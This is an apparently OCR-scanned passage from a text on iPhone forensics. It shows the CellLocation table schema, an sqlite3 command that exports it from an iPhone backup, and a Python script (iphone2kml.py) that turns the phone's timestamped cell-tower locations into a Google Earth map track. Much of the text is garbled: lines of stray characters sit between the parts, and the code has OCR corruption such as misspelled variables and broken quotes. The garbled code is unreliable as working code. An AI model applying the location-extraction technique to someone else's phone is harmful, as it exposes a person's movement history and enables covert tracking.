Latitude FLOAT, Longitude FLOAT, HorizontalAccuracy FLOAT, Altitude
FLOAT, VerticalAccuracy FLOAT, Speed FLOAT, Course FLOAT, Confidence
INTEGER
2 3 7
3= 4 4 = 2 4)
3 24 3 22 D @ 3
4 2 N *1 @ 3 2
7'I'N 724 4 N *1 N 4
2 0 3 9%%9 4 3
3 3 3 K'> /9
4 4 2 4 L 0o |
0 3 @ 3 0 O%6 2
0 3
3 E 2 3 O0%6 M 3 E 2
9
$ sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "select * from
CellLocation order by Timestamp" | tr "|" "," >

~/Desktop/grandma/myphone.csv

! 4 3 3 (6>
4 4 0 > %(6M



3 2 4 3 30
2 4 39

$ cat iphone2kml.py
import time,calendar,sys

kimstart = '<?xml version="1.0" encoding="UTF-8"?>\ n<kml
xmlns="http://www.opengis.net/kml|/2.2">\n<Document> \n'
kimend='</Document>\n</kmi>\n’'

def converttime(timestr):

gmttime=time.gmtime(float(timestr)+calendar.tim egm((2001,1,1,0,0,0,0,0,0)))
return ('%s/%s/%s %s:%s:%s") %
(gmttime[1],gmttime[2],gmttime[0],gmttime[3], gmitti me[4], gmttime[5])

if len(sys.argv)<2:
print ""iphone2kml database.csv results.kim\n

This takes an iphone backup and creates a Google Ea rth KML file.

create database.csv like this:
cd to iphone backup directory

$cd ~/Library/Application Support/MobileSync/Backup /<a backup>
export the CellLocation table in timestamp order
$sqlite3 4096c9ec676f2847dc283405900e284a7¢815836 " select * from CellLocation
order by Timestamp" | tr "|" "," > ~/database.csv
sys.exit(2)

coordlist=open(sys.argv[1],"r").readlines()
outfile=open(sys.argv[2],"w")
outfile.write(kimstart)

coords=""

for line in coordlist:
element=line.split(",")
outfile.write(

('<Placemark>\n<name>%s</name>\n<Point>\n<coordinat es>%6f,%6f</coordinates>\n</

Point>\n</Placemark>\n")

%(converttime(element[4]),float(element[6]),float(e lement[5])))
coords+=('%6f,%6f,1000 ") %(float(element[6]).fl oat(element[5]))

outfile.write("<Placemark>\n<name>Path with

Altitude</name>\n<LineString>\n<extrude>1</extrude> \n<tessellate>1</tessellate>

\n<altitudeMode>relative</altitudeMode>")

outfile.write("<coordinates>"+coords+"</coordinates >\n")

outfile.write("</LineString>\n</Placemark>")
outfile.write(kimend)
outfile.close()

32 4
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$python

>>> print ((31*365)+8)*24*60*60
978307200

>>> jmport calendar
>>> print calendar.timegm((2001,1,1,0,0,0,0,0,0))

978307200

4 3=2 @ 3
seconds= 31*365.25*24*60*60 &
: 2 3
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